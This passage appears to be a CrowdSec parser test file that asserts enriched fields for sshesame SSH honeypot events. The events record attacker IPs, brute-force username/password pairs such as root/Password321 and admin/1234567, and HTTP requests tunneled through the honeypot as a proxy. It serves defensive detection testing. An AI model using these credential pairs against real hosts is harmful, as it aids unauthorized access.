results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:28:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] authentication for user \"root\" with password \"Password321\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Parsed["source_ip"] == "87.121.6.204" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Parsed["sshesame_password"] == "Password321" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Parsed["timestamp"] == "2022/05/06 14:28:15" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["source_ip"] == "87.121.6.204" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["timestamp"] == "2022-05-06T14:28:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][92].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:28:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Parsed["source_ip"] == "87.121.6.204" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Parsed["timestamp"] == "2022/05/06 14:28:15" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49568] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["source_ip"] == "87.121.6.204" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Meta["timestamp"] == "2022-05-06T14:28:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][93].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:28:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Parsed["sshesame_password"] == "root#1234" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Parsed["timestamp"] == "2022/05/06 14:30:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Parsed["message"] == "2022/05/06 14:30:02 [45.239.216.250:45336] authentication for user \"root\" with password \"root#1234\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Parsed["source_ip"] == "45.239.216.250" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["source_ip"] == "45.239.216.250" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["timestamp"] == "2022-05-06T14:30:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][94].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:30:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:46226] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Parsed["source_ip"] == "45.239.216.250" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Parsed["timestamp"] == "2022/05/06 14:30:05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["source_ip"] == "45.239.216.250" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["timestamp"] == "2022-05-06T14:30:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][95].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:30:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Parsed["message"] == "2022/05/06 14:56:35 [1.7.180.245:44604] authentication for user \"admin\" with password \"1234567\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Parsed["source_ip"] == "1.7.180.245" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Parsed["sshesame_password"] == "1234567" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Parsed["timestamp"] == "2022/05/06 14:56:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["source_ip"] == "1.7.180.245" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["timestamp"] == "2022-05-06T14:56:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][96].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:56:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Parsed["timestamp"] == "2022/05/06 15:35:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["timestamp"] == "2022-05-06T15:35:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][97].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:35:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Parsed["timestamp"] == "2022/05/06 15:35:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["timestamp"] == "2022-05-06T15:35:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][98].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:35:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Parsed["timestamp"] == "2022/05/06 15:38:52" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Meta["timestamp"] == "2022-05-06T15:38:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][99].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:38:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Parsed["timestamp"] == "2022/05/06 15:38:52" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["timestamp"] == "2022-05-06T15:38:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][100].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:38:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] authentication for user \"root\" with password \"1234qwer\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Parsed["source_ip"] == "65.108.254.28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Parsed["sshesame_password"] == "1234qwer" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Parsed["timestamp"] == "2022/05/06 15:40:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["source_ip"] == "65.108.254.28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["timestamp"] == "2022-05-06T15:40:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][101].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:40:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Parsed["timestamp"] == "2022/05/06 15:40:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39098] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Parsed["source_ip"] == "65.108.254.28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["source_ip"] == "65.108.254.28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["timestamp"] == "2022-05-06T15:40:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][102].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:40:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Parsed["sshesame_password"] == "aisadmin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Parsed["timestamp"] == "2022/05/06 15:41:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["timestamp"] == "2022-05-06T15:41:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][103].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:41:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Parsed["timestamp"] == "2022/05/06 15:41:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["timestamp"] == "2022-05-06T15:41:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][104].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:41:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Parsed["timestamp"] == "2022/05/06 15:41:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["timestamp"] == "2022-05-06T15:41:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][105].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:41:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Parsed["message"] == "2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] input: \"GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Parsed["sshesame_input"] == "GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Parsed["timestamp"] == "2022/05/06 15:44:30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["timestamp"] == "2022-05-06T15:44:30Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["input"] == "GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][106].Evt.Enriched["MarshaledTime"] == "2022-05-06T15:44:30Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Parsed["timestamp"] == "2022/05/06 16:16:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: 